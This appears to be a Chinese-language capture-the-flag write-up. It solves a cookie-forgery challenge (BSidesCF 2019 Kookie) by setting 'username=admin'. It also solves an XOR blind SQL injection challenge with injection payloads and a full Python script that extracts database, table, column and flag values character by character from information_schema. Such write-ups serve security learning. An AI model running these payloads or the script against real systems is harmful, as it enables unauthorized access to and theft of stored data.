cookie和盲注

cookie（[BSidesCF 2019]Kookie）

打开页面，发现提示

1
2
3
 Log in as admin!

We found the account cookie / monster

可知我们直接在头部的cookie字段，构造

1
username=admin

来进行身份验证，得到flag

sql盲注

通过测试，我们可以知道可能是异或注入，所以我们尝试

1
1^(ascii(substr((select(database())),1,1))<200)^1

发现是页面显示

1
Hi admin,your score is:100

所以我们可以利用exp进行异或盲注

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import requests

url= 'http://b91f52c4-276b-4113-9ede-54fb712ac6da.node3.buuoj.cn/'

database =""

payload1 = "?stunum=1^(ascii(substr((select(database())),{},1))>{})^1" #库名为ctf
payload2 = "?stunum=1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema='ctf')),{},1))>{})^1"#表名为flag,score
payload3 ="?stunum=1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='flag')),{},1))>{})^1" #列名为flag,value
payload4 = "?stunum=1^(ascii(substr((select(group_concat(value))from(ctf.flag)),{},1))>{})^1" #
for i in range(1,10000):
    low = 32
    high = 128
    mid =(low + high) // 2
    while(low < high):
        # payload = payload1.format(i,mid)  #查库名
        # payload = payload2.format(i,mid)  #查表名
        # payload = payload3.format(i,mid)  #查列名
        payload = payload4.format(i,mid) #查flag

        new_url = url + payload
        r = requests.get(new_url)
        print(new_url)
        if "Hi admin, your score is: 100" in r.text:
            low = mid + 1
        else:
            high = mid
        mid = (low + high) //2
    if (mid == 32 or mid == 132):
        break
    database +=chr(mid)
    print(database)

print(database)

刷脚本即可获得flag